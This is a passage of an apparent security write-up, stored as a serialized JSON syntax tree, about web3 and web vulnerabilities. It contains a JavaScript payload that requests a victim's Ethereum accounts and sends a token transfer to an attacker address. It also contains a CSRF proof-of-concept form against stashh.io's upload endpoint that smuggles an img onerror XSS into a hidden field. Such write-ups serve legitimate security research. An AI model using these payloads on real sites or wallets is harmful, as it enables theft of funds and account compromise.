this feature.'",{"type":21,"tag":198,"props":32246,"children":32247},{"style":211},[32248],{"type":27,"value":1470},{"type":21,"tag":198,"props":32250,"children":32251},{"class":200,"line":260},[32252,32256,32260],{"type":21,"tag":198,"props":32253,"children":32254},{"style":211},[32255],{"type":27,"value":1244},{"type":21,"tag":198,"props":32257,"children":32258},{"style":640},[32259],{"type":27,"value":4122},{"type":21,"tag":198,"props":32261,"children":32262},{"style":211},[32263],{"type":27,"value":233},{"type":21,"tag":198,"props":32265,"children":32266},{"class":200,"line":281},[32267,32272,32276,32281,32286,32291,32296,32301,32306,32311,32315,32319,32323],{"type":21,"tag":198,"props":32268,"children":32269},{"style":226},[32270],{"type":27,"value":32271}," ethereum",{"type":21,"tag":198,"props":32273,"children":32274},{"style":211},[32275],{"type":27,"value":658},{"type":21,"tag":198,"props":32277,"children":32278},{"style":698},[32279],{"type":27,"value":32280},"request",{"type":21,"tag":198,"props":32282,"children":32283},{"style":211},[32284],{"type":27,"value":32285},"({ ",{"type":21,"tag":198,"props":32287,"children":32288},{"style":226},[32289],{"type":27,"value":32290},"method:",{"type":21,"tag":198,"props":32292,"children":32293},{"style":205},[32294],{"type":27,"value":32295}," 'eth_requestAccounts'",{"type":21,"tag":198,"props":32297,"children":32298},{"style":211},[32299],{"type":27,"value":32300}," }).",{"type":21,"tag":198,"props":32302,"children":32303},{"style":698},[32304],{"type":27,"value":32305},"then",{"type":21,"tag":198,"props":32307,"children":32308},{"style":211},[32309],{"type":27,"value":32310},"((",{"type":21,"tag":198,"props":32312,"children":32313},{"style":226},[32314],{"type":27,"value":15480},{"type":21,"tag":198,"props":32316,"children":32317},{"style":211},[32318],{"type":27,"value":1541},{"type":21,"tag":198,"props":32320,"children":32321},{"style":249},[32322],{"type":27,"value":15626},{"type":21,"tag":198,"props":32324,"children":32325},{"style":211},[32326],{"type":27,"value":233},{"type":21,"tag":198,"props":32328,"children":32329},{"class":200,"line":302},[32330,32335,32340,32344,32349,32353,32357],{"type":21,"tag":198,"props":32331,"children":32332},{"style":249},[32333],{"type":27,"value":32334}," const",{"type":21,"tag":198,"props":32336,"children":32337},{"style":226},[32338],{"type":27,"value":32339}," fromAddress",{"type":21,"tag":198,"props":32341,"children":32342},{"style":683},[32343],{"type":27,"value":979},{"type":21,"tag":198,"props":32345,"children":32346},{"style":226},[32347],{"type":27,"value":32348}," accounts",{"type":21,"tag":198,"props":32350,"children":32351},{"style":211},[32352],{"type":27,"value":2051},{"type":21,"tag":198,"props":32354,"children":32355},{"style":2540},[32356],{"type":27,"value":3482},{"type":21,"tag":198,"props":32358,"children":32359},{"style":211},[32360],{"type":27,"value":32361},"];\n",{"type":21,"tag":198,"props":32363,"children":32364},{"class":200,"line":323},[32365,32369,32374,32378,32383],{"type":21,"tag":198,"props":32366,"children":32367},{"style":249},[32368],{"type":27,"value":32334},{"type":21,"tag":198,"props":32370,"children":32371},{"style":226},[32372],{"type":27,"value":32373}," attackerAddress",{"type":21,"tag":198,"props":32375,"children":32376},{"style":683},[32377],{"type":27,"value":979},{"type":21,"tag":198,"props":32379,"children":32380},{"style":205},[32381],{"type":27,"value":32382}," '0x0000000000000000000000000000000000000000'",{"type":21,"tag":198,"props":32384,"children":32385},{"style":211},[32386],{"type":27,"value":1483},{"type":21,"tag":198,"props":32388,"children":32389},{"class":200,"line":344},[32390,32394,32399,32403,32408],{"type":21,"tag":198,"props":32391,"children":32392},{"style":249},[32393],{"type":27,"value":32334},{"type":21,"tag":198,"props":32395,"children":32396},{"style":226},[32397],{"type":27,"value":32398}," contractAddress",{"type":21,"tag":198,"props":32400,"children":32401},{"style":683},[32402],{"type":27,"value":979},{"type":21,"tag":198,"props":32404,"children":32405},{"style":205},[32406],{"type":27,"value":32407}," '0xa01000c52b234a92563ba61e5649b7c76e1ba0f3'",{"type":21,"tag":198,"props":32409,"children":32410},{"style":211},[32411],{"type":27,"value":1483},{"type":21,"tag":198,"props":32413,"children":32414},{"class":200,"line":365},[32415],{"type":21,"tag":198,"props":32416,"children":32417},{"emptyLinePlaceholder":16},[32418],{"type":27,"value":1283},{"type":21,"tag":198,"props":32420,"children":32421},{"class":200,"line":386},[32422,32426,32431,32435],{"type":21,"tag":198,"props":32423,"children":32424},{"style":249},[32425],{"type":27,"value":8886},{"type":21,"tag":198,"props":32427,"children":32428},{"style":226},[32429],{"type":27,"value":32430}," tokenAbi",{"type":21,"tag":198,"props":32432,"children":32433},{"style":683},[32434],{"type":27,"value":979},{"type":21,"tag":198,"props":32436,"children":32437},{"style":211},[32438],{"type":27,"value":26425},{"type":21,"tag":198,"props":32440,"children":32441},{"class":200,"line":408},[32442],{"type":21,"tag":198,"props":32443,"children":32444},{"style":211},[32445],{"type":27,"value":32446}," {\n",{"type":21,"tag":198,"props":32448,"children":32449},{"class":200,"line":429},[32450,32455,32459],{"type":21,"tag":198,"props":32451,"children":32452},{"style":226},[32453],{"type":27,"value":32454}," constant:",{"type":21,"tag":198,"props":32456,"children":32457},{"style":249},[32458],{"type":27,"value":9868},{"type":21,"tag":198,"props":32460,"children":32461},{"style":211},[32462],{"type":27,"value":257},{"type":21,"tag":198,"props":32464,"children":32465},{"class":200,"line":450},[32466,32471],{"type":21,"tag":198,"props":32467,"children":32468},{"style":226},[32469],{"type":27,"value":32470}," inputs:",{"type":21,"tag":198,"props":32472,"children":32473},{"style":211},[32474],{"type":27,"value":26425},{"type":21,"tag":198,"props":32476,"children":32477},{"class":200,"line":468},[32478],{"type":21,"tag":198,"props":32479,"children":32480},{"style":211},[32481],{"type":27,"value":32482}," {\n",{"type":21,"tag":198,"props":32484,"children":32485},{"class":200,"line":477},[32486,32491,32496],{"type":21,"tag":198,"props":32487,"children":32488},{"style":226},[32489],{"type":27,"value":32490}," name:",{"type":21,"tag":198,"props":32492,"children":32493},{"style":205},[32494],{"type":27,"value":32495}," '_to'",{"type":21,"tag":198,"props":32497,"children":32498},{"style":211},[32499],{"type":27,"value":257},{"type":21,"tag":198,"props":32501,"children":32502},{"class":200,"line":494},[32503,32508,32513],{"type":21,"tag":198,"props":32504,"children":32505},{"style":226},[32506],{"type":27,"value":32507}," type:",{"type":21,"tag":198,"props":32509,"children":32510},{"style":205},[32511],{"type":27,"value":32512}," 'address'",{"type":21,"tag":198,"props":32514,"children":32515},{"style":211},[32516],{"type":27,"value":257},{"type":21,"tag":198,"props":32518,"children":32519},{"class":200,"line":515},[32520],{"type":21,"tag":198,"props":32521,"children":32522},{"style":211},[32523],{"type":27,"value":32524}," },\n",{"type":21,"tag":198,"props":32526,"children":32527},{"class":200,"line":4484},[32528],{"type":21,"tag":198,"props":32529,"children":32530},{"style":211},[32531],{"type":27,"value":32482},{"type":21,"tag":198,"props":32533,"children":32534},{"class":200,"line":4493},[32535,32539,32544],{"type":21,"tag":198,"props":32536,"children":32537},{"style":226},[32538],{"type":27,"value":32490},{"type":21,"tag":198,"props":32540,"children":32541},{"style":205},[32542],{"type":27,"value":32543}," '_value'",{"type":21,"tag":198,"props":32545,"children":32546},{"style":211},[32547],{"type":27,"value":257},{"type":21,"tag":198,"props":32549,"children":32550},{"class":200,"line":4561},[32551,32555,32560],{"type":21,"tag":198,"props":32552,"children":32553},{"style":226},[32554],{"type":27,"value":32507},{"type":21,"tag":198,"props":32556,"children":32557},{"style":205},[32558],{"type":27,"value":32559}," 'uint256'",{"type":21,"tag":198,"props":32561,"children":32562},{"style":211},[32563],{"type":27,"value":257},{"type":21,"tag":198,"props":32565,"children":32566},{"class":200,"line":4569},[32567],{"type":21,"tag":198,"props":32568,"children":32569},{"style":211},[32570],{"type":27,"value":32524},{"type":21,"tag":198,"props":32572,"children":32573},{"class":200,"line":4599},[32574],{"type":21,"tag":198,"props":32575,"children":32576},{"style":211},[32577],{"type":27,"value":32578}," ],\n",{"type":21,"tag":198,"props":32580,"children":32581},{"class":200,"line":4607},[32582,32587,32592],{"type":21,"tag":198,"props":32583,"children":32584},{"style":226},[32585],{"type":27,"value":32586}," name:",{"type":21,"tag":198,"props":32588,"children":32589},{"style":205},[32590],{"type":27,"value":32591}," 'transfer'",{"type":21,"tag":198,"props":32593,"children":32594},{"style":211},[32595],{"type":27,"value":257},{"type":21,"tag":198,"props":32597,"children":32598},{"class":200,"line":4638},[32599,32604],{"type":21,"tag":198,"props":32600,"children":32601},{"style":226},[32602],{"type":27,"value":32603}," outputs:",{"type":21,"tag":198,"props":32605,"children":32606},{"style":211},[32607],{"type":27,"value":26425},{"type":21,"tag":198,"props":32609,"children":32610},{"class":200,"line":4646},[32611],{"type":21,"tag":198,"props":32612,"children":32613},{"style":211},[32614],{"type":27,"value":32482},{"type":21,"tag":198,"props":32616,"children":32617},{"class":200,"line":4706},[32618,32622,32627],{"type":21,"tag":198,"props":32619,"children":32620},{"style":226},[32621],{"type":27,"value":32490},{"type":21,"tag":198,"props":32623,"children":32624},{"style":205},[32625],{"type":27,"value":32626}," ''",{"type":21,"tag":198,"props":32628,"children":32629},{"style":211},[32630],{"type":27,"value":257},{"type":21,"tag":198,"props":32632,"children":32633},{"class":200,"line":9857},[32634,32638,32643],{"type":21,"tag":198,"props":32635,"children":32636},{"style":226},[32637],{"type":27,"value":32507},{"type":21,"tag":198,"props":32639,"children":32640},{"style":205},[32641],{"type":27,"value":32642}," 'bool'",{"type":21,"tag":198,"props":32644,"children":32645},{"style":211},[32646],{"type":27,"value":257},{"type":21,"tag":198,"props":32648,"children":32649},{"class":200,"line":9875},[32650],{"type":21,"tag":198,"props":32651,"children":32652},{"style":211},[32653],{"type":27,"value":32524},{"type":21,"tag":198,"props":32655,"children":32656},{"class":200,"line":9920},[32657],{"type":21,"tag":198,"props":32658,"children":32659},{"style":211},[32660],{"type":27,"value":32578},{"type":21,"tag":198,"props":32662,"children":32663},{"class":200,"line":10026},[32664,32669,32674],{"type":21,"tag":198,"props":32665,"children":32666},{"style":226},[32667],{"type":27,"value":32668}," type:",{"type":21,"tag":198,"props":32670,"children":32671},{"style":205},[32672],{"type":27,"value":32673}," 'function'",{"type":21,"tag":198,"props":32675,"children":32676},{"style":211},[32677],{"type":27,"value":257},{"type":21,"tag":198,"props":32679,"children":32680},{"class":200,"line":24302},[32681],{"type":21,"tag":198,"props":32682,"children":32683},{"style":211},[32684],{"type":27,"value":26178},{"type":21,"tag":198,"props":32686,"children":32687},{"class":200,"line":24337},[32688],{"type":21,"tag":198,"props":32689,"children":32690},{"style":211},[32691],{"type":27,"value":32692}," ];\n",{"type":21,"tag":198,"props":32694,"children":32695},{"class":200,"line":24345},[32696],{"type":21,"tag":198,"props":32697,"children":32698},{"emptyLinePlaceholder":16},[32699],{"type":27,"value":1283},{"type":21,"tag":198,"props":32701,"children":32702},{"class":200,"line":24353},[32703,32707,32712,32716,32720,32725,32729,32734,32738,32742],{"type":21,"tag":198,"props":32704,"children":32705},{"style":249},[32706],{"type":27,"value":32334},{"type":21,"tag":198,"props":32708,"children":32709},{"style":226},[32710],{"type":27,"value":32711}," web3",{"type":21,"tag":198,"props":32713,"children":32714},{"style":683},[32715],{"type":27,"value":979},{"type":21,"tag":198,"props":32717,"children":32718},{"style":249},[32719],{"type":27,"value":737},{"type":21,"tag":198,"props":32721,"children":32722},{"style":698},[32723],{"type":27,"value":32724}," Web3",{"type":21,"tag":198,"props":32726,"children":32727},{"style":211},[32728],{"type":27,"value":706},{"type":21,"tag":198,"props":32730,"children":32731},{"style":226},[32732],{"type":27,"value":32733},"window",{"type":21,"tag":198,"props":32735,"children":32736},{"style":211},[32737],{"type":27,"value":658},{"type":21,"tag":198,"props":32739,"children":32740},{"style":226},[32741],{"type":27,"value":32206},{"type":21,"tag":198,"props":32743,"children":32744},{"style":211},[32745],{"type":27,"value":1470},{"type":21,"tag":198,"props":32747,"children":32748},{"class":200,"line":24362},[32749],{"type":21,"tag":198,"props":32750,"children":32751},{"emptyLinePlaceholder":16},[32752],{"type":27,"value":1283},{"type":21,"tag":198,"props":32754,"children":32755},{"class":200,"line":24404},[32756,32760,32765,32769,32773,32777,32781,32786,32790,32795,32799,32804,32808,32813],{"type":21,"tag":198,"props":32757,"children":32758},{"style":249},[32759],{"type":27,"value":32334},{"type":21,"tag":198,"props":32761,"children":32762},{"style":226},[32763],{"type":27,"value":32764}," tokenContract",{"type":21,"tag":198,"props":32766,"children":32767},{"style":683},[32768],{"type":27,"value":979},{"type":21,"tag":198,"props":32770,"children":32771},{"style":249},[32772],{"type":27,"value":737},{"type":21,"tag":198,"props":32774,"children":32775},{"style":226},[32776],{"type":27,"value":32711},{"type":21,"tag":198,"props":32778,"children":32779},{"style":211},[32780],{"type":27,"value":658},{"type":21,"tag":198,"props":32782,"children":32783},{"style":226},[32784],{"type":27,"value":32785},"eth",{"type":21,"tag":198,"props":32787,"children":32788},{"style":211},[32789],{"type":27,"value":658},{"type":21,"tag":198,"props":32791,"children":32792},{"style":698},[32793],{"type":27,"value":32794},"Contract",{"type":21,"tag":198,"props":32796,"children":32797},{"style":211},[32798],{"type":27,"value":706},{"type":21,"tag":198,"props":32800,"children":32801},{"style":226},[32802],{"type":27,"value":32803},"tokenAbi",{"type":21,"tag":198,"props":32805,"children":32806},{"style":211},[32807],{"type":27,"value":828},{"type":21,"tag":198,"props":32809,"children":32810},{"style":226},[32811],{"type":27,"value":32812},"contractAddress",{"type":21,"tag":198,"props":32814,"children":32815},{"style":211},[32816],{"type":27,"value":1470},{"type":21,"tag":198,"props":32818,"children":32819},{"class":200,"line":24437},[32820],{"type":21,"tag":198,"props":32821,"children":32822},{"emptyLinePlaceholder":16},[32823],{"type":27,"value":1283},{"type":21,"tag":198,"props":32825,"children":32826},{"class":200,"line":24445},[32827,32831,32836,32840],{"type":21,"tag":198,"props":32828,"children":32829},{"style":249},[32830],{"type":27,"value":32334},{"type":21,"tag":198,"props":32832,"children":32833},{"style":226},[32834],{"type":27,"value":32835}," transactionObject",{"type":21,"tag":198,"props":32837,"children":32838},{"style":683},[32839],{"type":27,"value":979},{"type":21,"tag":198,"props":32841,"children":32842},{"style":211},[32843],{"type":27,"value":233},{"type":21,"tag":198,"props":32845,"children":32846},{"class":200,"line":24453},[32847,32852,32856],{"type":21,"tag":198,"props":32848,"children":32849},{"style":226},[32850],{"type":27,"value":32851}," from:",{"type":21,"tag":198,"props":32853,"children":32854},{"style":226},[32855],{"type":27,"value":32339},{"type":21,"tag":198,"props":32857,"children":32858},{"style":211},[32859],{"type":27,"value":257},{"type":21,"tag":198,"props":32861,"children":32862},{"class":200,"line":24462},[32863,32868,32872],{"type":21,"tag":198,"props":32864,"children":32865},{"style":226},[32866],{"type":27,"value":32867}," to:",{"type":21,"tag":198,"props":32869,"children":32870},{"style":226},[32871],{"type":27,"value":32398},{"type":21,"tag":198,"props":32873,"children":32874},{"style":211},[32875],{"type":27,"value":257},{"type":21,"tag":198,"props":32877,"children":32878},{"class":200,"line":24538},[32879,32884,32888,32892],{"type":21,"tag":198,"props":32880,"children":32881},{"style":226},[32882],{"type":27,"value":32883}," data:",{"type":21,"tag":198,"props":32885,"children":32886},{"style":226},[32887],{"type":27,"value":32764},{"type":21,"tag":198,"props":32889,"children":32890},{"style":211},[32891],{"type":27,"value":658},{"type":21,"tag":198,"props":32893,"children":32894},{"style":226},[32895],{"type":27,"value":32896},"methods\n",{"type":21,"tag":198,"props":32898,"children":32899},{"class":200,"line":24571},[32900,32905,32910,32914,32919,32923,32928,32932,32937,32941,32946,32950,32955,32959,32964],{"type":21,"tag":198,"props":32901,"children":32902},{"style":211},[32903],{"type":27,"value":32904}," .",{"type":21,"tag":198,"props":32906,"children":32907},{"style":698},[32908],{"type":27,"value":32909},"transfer",{"type":21,"tag":198,"props":32911,"children":32912},{"style":211},[32913],{"type":27,"value":706},{"type":21,"tag":198,"props":32915,"children":32916},{"style":226},[32917],{"type":27,"value":32918},"attackerAddress",{"type":21,"tag":198,"props":32920,"children":32921},{"style":211},[32922],{"type":27,"value":828},{"type":21,"tag":198,"props":32924,"children":32925},{"style":226},[32926],{"type":27,"value":32927},"web3",{"type":21,"tag":198,"props":32929,"children":32930},{"style":211},[32931],{"type":27,"value":658},{"type":21,"tag":198,"props":32933,"children":32934},{"style":226},[32935],{"type":27,"value":32936},"utils",{"type":21,"tag":198,"props":32938,"children":32939},{"style":211},[32940],{"type":27,"value":658},{"type":21,"tag":198,"props":32942,"children":32943},{"style":698},[32944],{"type":27,"value":32945},"toWei",{"type":21,"tag":198,"props":32947,"children":32948},{"style":211},[32949],{"type":27,"value":706},{"type":21,"tag":198,"props":32951,"children":32952},{"style":205},[32953],{"type":27,"value":32954},"'100000000'",{"type":21,"tag":198,"props":32956,"children":32957},{"style":211},[32958],{"type":27,"value":828},{"type":21,"tag":198,"props":32960,"children":32961},{"style":205},[32962],{"type":27,"value":32963},"'ether'",{"type":21,"tag":198,"props":32965,"children":32966},{"style":211},[32967],{"type":27,"value":872},{"type":21,"tag":198,"props":32969,"children":32970},{"class":200,"line":24579},[32971,32975,32980],{"type":21,"tag":198,"props":32972,"children":32973},{"style":211},[32974],{"type":27,"value":32904},{"type":21,"tag":198,"props":32976,"children":32977},{"style":698},[32978],{"type":27,"value":32979},"encodeABI",{"type":21,"tag":198,"props":32981,"children":32982},{"style":211},[32983],{"type":27,"value":4296},{"type":21,"tag":198,"props":32985,"children":32986},{"class":200,"line":24587},[32987],{"type":21,"tag":198,"props":32988,"children":32989},{"style":211},[32990],{"type":27,"value":9730},{"type":21,"tag":198,"props":32992,"children":32993},{"class":200,"line":24624},[32994],{"type":21,"tag":198,"props":32995,"children":32996},{"emptyLinePlaceholder":16},[32997],{"type":27,"value":1283},{"type":21,"tag":198,"props":32999,"children":33000},{"class":200,"line":24637},[33001,33006,33010,33014,33018,33023,33027,33032],{"type":21,"tag":198,"props":33002,"children":33003},{"style":226},[33004],{"type":27,"value":33005}," web3",{"type":21,"tag":198,"props":33007,"children":33008},{"style":211},[33009],{"type":27,"value":658},{"type":21,"tag":198,"props":33011,"children":33012},{"style":226},[33013],{"type":27,"value":32785},{"type":21,"tag":198,"props":33015,"children":33016},{"style":211},[33017],{"type":27,"value":658},{"type":21,"tag":198,"props":33019,"children":33020},{"style":698},[33021],{"type":27,"value":33022},"sendTransaction",{"type":21,"tag":198,"props":33024,"children":33025},{"style":211},[33026],{"type":27,"value":706},{"type":21,"tag":198,"props":33028,"children":33029},{"style":226},[33030],{"type":27,"value":33031},"transactionObject",{"type":21,"tag":198,"props":33033,"children":33034},{"style":211},[33035],{"type":27,"value":1470},{"type":21,"tag":198,"props":33037,"children":33038},{"class":200,"line":24650},[33039],{"type":21,"tag":198,"props":33040,"children":33041},{"style":211},[33042],{"type":27,"value":33043}," });\n",{"type":21,"tag":198,"props":33045,"children":33046},{"class":200,"line":24663},[33047],{"type":21,"tag":198,"props":33048,"children":33049},{"style":211},[33050],{"type":27,"value":2249},{"type":21,"tag":198,"props":33052,"children":33053},{"class":200,"line":24717},[33054],{"type":21,"tag":198,"props":33055,"children":33056},{"style":211},[33057],{"type":27,"value":1120},{"type":21,"tag":198,"props":33059,"children":33060},{"class":200,"line":24726},[33061],{"type":21,"tag":198,"props":33062,"children":33063},{"emptyLinePlaceholder":16},[33064],{"type":27,"value":1283},{"type":21,"tag":198,"props":33066,"children":33068},{"class":200,"line":33067},51,[33069,33073,33077,33082],{"type":21,"tag":198,"props":33070,"children":33071},{"style":249},[33072],{"type":27,"value":20278},{"type":21,"tag":198,"props":33074,"children":33075},{"style":211},[33076],{"type":27,"value":706},{"type":21,"tag":198,"props":33078,"children":33079},{"style":205},[33080],{"type":27,"value":33081},"'https://cdn.jsdelivr.net/gh/ethereum/web3.js@1.0.0-beta.36/dist/web3.min.js'",{"type":21,"tag":198,"props":33083,"children":33084},{"style":211},[33085],{"type":27,"value":1470},{"type":21,"tag":198,"props":33087,"children":33089},{"class":200,"line":33088},52,[33090,33095,33099,33103,33107,33112],{"type":21,"tag":198,"props":33091,"children":33092},{"style":698},[33093],{"type":27,"value":33094},"setTimeout",{"type":21,"tag":198,"props":33096,"children":33097},{"style":211},[33098],{"type":27,"value":706},{"type":21,"tag":198,"props":33100,"children":33101},{"style":226},[33102],{"type":27,"value":32280},{"type":21,"tag":198,"props":33104,"children":33105},{"style":211},[33106],{"type":27,"value":828},{"type":21,"tag":198,"props":33108,"children":33109},{"style":2540},[33110],{"type":27,"value":33111},"1e3",{"type":21,"tag":198,"props":33113,"children":33114},{"style":211},[33115],{"type":27,"value":1470},{"type":21,"tag":30,"props":33117,"children":33118},{},[33119,33124],{"type":21,"tag":6137,"props":33120,"children":33121},{},[33122],{"type":27,"value":33123},"CSRF & XSS",{"type":27,"value":33125},"\nWe continued our investigation of potential XSS vulnerabilities by exploring various sinks, such as common field errors and the handling of file uploads in different marketplaces.",{"type":21,"tag":30,"props":33127,"children":33128},{},[33129,33131,33136],{"type":27,"value":33130},"Our attention was drawn to ",{"type":21,"tag":34,"props":33132,"children":33134},{"href":32078,"rel":33133},[38],[33135],{"type":27,"value":32082},{"type":27,"value":33137},", an online platform that allows users to upload images. During the image uploading process, we noticed that certain parameters were being sent in the request, as shown below:",{"type":21,"tag":30,"props":33139,"children":33140},{},[33141],{"type":21,"tag":1376,"props":33142,"children":33144},{"alt":7,"src":33143},"/posts/web2-bug-repellant-instructions/csrf.png",[],{"type":21,"tag":30,"props":33146,"children":33147},{},[33148],{"type":27,"value":33149},"and here there is the code:",{"type":21,"tag":187,"props":33151,"children":33153},{"className":189,"code":33152,"language":191,"meta":7,"style":7},"\u003Chtml>\n \u003Cbody>\n \u003Cscript>history.pushState('', '', '/')\u003C/script>\n \u003Cform id=\"form123\" action=\"https://stashh.io/upload_asset\" method=\"POST\" enctype=\"multipart/form-data\" value=\"asd\">\n \u003Cinput type=\"file\" name=\"data\" id=\"file123\">\n \u003Cinput type=\"hidden\" name=\"config\" value=\"{"address":"secret1k6tng55v0zgufpcx8wa2w33asl82fhx84tn3hq<img/src=x onerror=alert(document.domain)>","to":"profile-assets","type":"icon"}\" />\n \u003Cinput type=\"submit\" value=\"Submit request\" />\n \u003C/form>\n \u003C/body>\n\n \u003Cscript>\n\n (async ()=>{\n const blob = await (await fetch(\"/sapo.png\")).blob()\n\n let f = new File([blob], 'sapo.png', {type: 'image/png'})\n const dataTransfer = new DataTransfer();\n dataTransfer.items.add(f);\n\n file123.files = dataTransfer.files;\n })()\n\n \u003C/script>\n\u003C/html>\n",[33154],{"type":21,"tag":194,"props":33155,"children":33156},{"__ignoreMap":7},[33157,33172,33188,33222,33307,33364,33559,33600,33616,33632,33639,33654,33661,33673,33732,33739,33802,33831,33869,33876,33914,33927,33934,33949],{"type":21,"tag":198,"props":33158,"children":33159},{"class":200,"line":201},[33160,33164,33168],{"type":21,"tag":198,"props":33161,"children":33162},{"style":3156},[33163],{"type":27,"value":3159},{"type":21,"tag":198,"props":33165,"children":33166},{"style":249},[33167],{"type":27,"value":3146},{"type":21,"tag":198,"props":33169,"children":33170},{"style":3156},[33171],{"type":27,"value":3203},{"type":21,"tag":198,"props":33173,"children":33174},{"class":200,"line":217},[33175,33180,33184],{"type":21,"tag":198,"props":33176,"children":33177},{"style":3156},[33178],{"type":27,"value":33179}," \u003C",{"type":21,"tag":198,"props":33181,"children":33182},{"style":249},[33183],{"type":27,"value":3342},{"type":21,"tag":198,"props":33185,"children":33186},{"style":3156},[33187],{"type":27,"value":3203},{"type":21,"tag":198,"props":33189,"children":33190},{"class":200,"line":236},[33191,33195,33200,33204,33209,33214,33218],{"type":21,"tag":198,"props":33192,"children":33193},{"style":3156},[33194],{"type":27,"value":33179},{"type":21,"tag":198,"props":33196,"children":33197},{"style":249},[33198],{"type":27,"value":33199},"script",{"type":21,"tag":198,"props":33201,"children":33202},{"style":3156},[33203],{"type":27,"value":11270},{"type":21,"tag":198,"props":33205,"children":33206},{"style":211},[33207],{"type":27,"value":33208},"history.pushState('', '', '/')",{"type":21,"tag":198,"props":33210,"children":33211},{"style":3156},[33212],{"type":27,"value":33213},"\u003C/",{"type":21,"tag":198,"props":33215,"children":33216},{"style":249},[33217],{"type":27,"value":33199},{"type":21,"tag":198,"props":33219,"children":33220},{"style":3156},[33221],{"type":27,"value":3203},{"type":21,"tag":198,"props":33223,"children":33224},{"class":200,"line":260},[33225,33230,33235,33239,33243,33248,33253,33257,33262,33266,33270,33275,33280,33284,33289,33294,33298,33303],{"type":21,"tag":198,"props":33226,"children":33227},{"style":3156},[33228],{"type":27,"value":33229}," \u003C",{"type":21,"tag":198,"props":33231,"children":33232},{"style":249},[33233],{"type":27,"value":33234},"form",{"type":21,"tag":198,"props":33236,"children":33237},{"style":226},[33238],{"type":27,"value":3169},{"type":21,"tag":198,"props":33240,"children":33241},{"style":683},[33242],{"type":27,"value":3174},{"type":21,"tag":198,"props":33244,"children":33245},{"style":205},[33246],{"type":27,"value":33247},"\"form123\"",{"type":21,"tag":198,"props":33249,"children":33250},{"style":226},[33251],{"type":27,"value":33252}," action",{"type":21,"tag":198,"props":33254,"children":33255},{"style":683},[33256],{"type":27,"value":3174},{"type":21,"tag":198,"props":33258,"children":33259},{"style":205},[33260],{"type":27,"value":33261},"\"https://stashh.io/upload_asset\"",{"type":21,"tag":198,"props":33263,"children":33264},{"style":226},[33265],{"type":27,"value":17911},{"type":21,"tag":198,"props":33267,"children":33268},{"style":683},[33269],{"type":27,"value":3174},{"type":21,"tag":198,"props":33271,"children":33272},{"style":205},[33273],{"type":27,"value":33274},"\"POST\"",{"type":21,"tag":198,"props":33276,"children":33277},{"style":226},[33278],{"type":27,"value":33279}," enctype",{"type":21,"tag":198,"props":33281,"children":33282},{"style":683},[33283],{"type":27,"value":3174},{"type":21,"tag":198,"props":33285,"children":33286},{"style":205},[33287],{"type":27,"value":33288},"\"multipart/form-data\"",{"type":21,"tag":198,"props":33290,"children":33291},{"style":226},[33292],{"type":27,"value":33293}," value",{"type":21,"tag":198,"props":33295,"children":33296},{"style":683},[33297],{"type":27,"value":3174},{"type":21,"tag":198,"props":33299,"children":33300},{"style":205},[33301],{"type":27,"value":33302},"\"asd\"",{"type":21,"tag":198,"props":33304,"children":33305},{"style":3156},[33306],{"type":27,"value":3203},{"type":21,"tag":198,"props":33308,"children":33309},{"class":200,"line":281},[33310,33315,33319,33324,33328,33333,33338,33342,33347,33351,33355,33360],{"type":21,"tag":198,"props":33311,"children":33312},{"style":3156},[33313],{"type":27,"value":33314}," \u003C",{"type":21,"tag":198,"props":33316,"children":33317},{"style":249},[33318],{"type":27,"value":9177},{"type":21,"tag":198,"props":33320,"children":33321},{"style":226},[33322],{"type":27,"value":33323}," type",{"type":21,"tag":198,"props":33325,"children":33326},{"style":683},[33327],{"type":27,"value":3174},{"type":21,"tag":198,"props":33329,"children":33330},{"style":205},[33331],{"type":27,"value":33332},"\"file\"",{"type":21,"tag":198,"props":33334,"children":33335},{"style":226},[33336],{"type":27,"value":33337}," name",{"type":21,"tag":198,"props":33339,"children":33340},{"style":683},[33341],{"type":27,"value":3174},{"type":21,"tag":198,"props":33343,"children":33344},{"style":205},[33345],{"type":27,"value":33346},"\"data\"",{"type":21,"tag":198,"props":33348,"children":33349},{"style":226},[33350],{"type":27,"value":3169},{"type":21,"tag":198,"props":33352,"children":33353},{"style":683},[33354],{"type":27,"value":3174},{"type":21,"tag":198,"props":33356,"children":33357},{"style":205},[33358],{"type":27,"value":33359},"\"file123\"",{"type":21,"tag":198,"props":33361,"children":33362},{"style":3156},[33363],{"type":27,"value":3203},{"type":21,"tag":198,"props":33365,"children":33366},{"class":200,"line":302},[33367,33372,33376,33380,33384,33389,33393,33397,33402,33406,33410,33414,33419,33424,33429,33434,33439,33443,33448,33452,33457,33461,33466,33471,33475,33479,33484,33488,33493,33497,33502,33507,33511,33516,33521,33526,33531,33536,33540,33545,33550,33554],{"type":21,"tag":198,"props":33368,"children":33369},{"style":3156},[33370],{"type":27,"value":33371}," \u003C",{"type":21,"tag":198,"props":33373,"children":33374},{"style":249},[33375],{"type":27,"value":9177},{"type":21,"tag":198,"props":33377,"children":33378},{"style":226},[33379],{"type":27,"value":33323},{"type":21,"tag":198,"props":33381,"children":33382},{"style":683},[33383],{"type":27,"value":3174},{"type":21,"tag":198,"props":33385,"children":33386},{"style":205},[33387],{"type":27,"value":33388},"\"hidden\"",{"type":21,"tag":198,"props":33390,"children":33391},{"style":226},[33392],{"type":27,"value":33337},{"type":21,"tag":198,"props":33394,"children":33395},{"style":683},[33396],{"type":27,"value":3174},{"type":21,"tag":198,"props":33398,"children":33399},{"style":205},[33400],{"type":27,"value":33401},"\"config\"",{"type":21,"tag":198,"props":33403,"children":33404},{"style":226},[33405],{"type":27,"value":33293},{"type":21,"tag":198,"props":33407,"children":33408},{"style":683},[33409],{"type":27,"value":3174},{"type":21,"tag":198,"props":33411,"children":33412},{"style":205},[33413],{"type":27,"value":20854},{"type":21,"tag":198,"props":33415,"children":33416},{"style":249},[33417],{"type":27,"value":33418},"{"",{"type":21,"tag":198,"props":33420,"children":33421},{"style":205},[33422],{"type":27,"value":33423},"address",{"type":21,"tag":198,"props":33425,"children":33426},{"style":249},[33427],{"type":27,"value":33428},"":"",{"type":21,"tag":198,"props":33430,"children":33431},{"style":205},[33432],{"type":27,"value":33433},"secret1k6tng55v0zgufpcx8wa2w33asl82fhx84tn3hq",{"type":21,"tag":198,"props":33435,"children":33436},{"style":249},[33437],{"type":27,"value":33438},"<",{"type":21,"tag":198,"props":33440,"children":33441},{"style":205},[33442],{"type":27,"value":1376},{"type":21,"tag":198,"props":33444,"children":33445},{"style":249},[33446],{"type":27,"value":33447},"/",{"type":21,"tag":198,"props":33449,"children":33450},{"style":205},[33451],{"type":27,"value":1636},{"type":21,"tag":198,"props":33453,"children":33454},{"style":249},[33455],{"t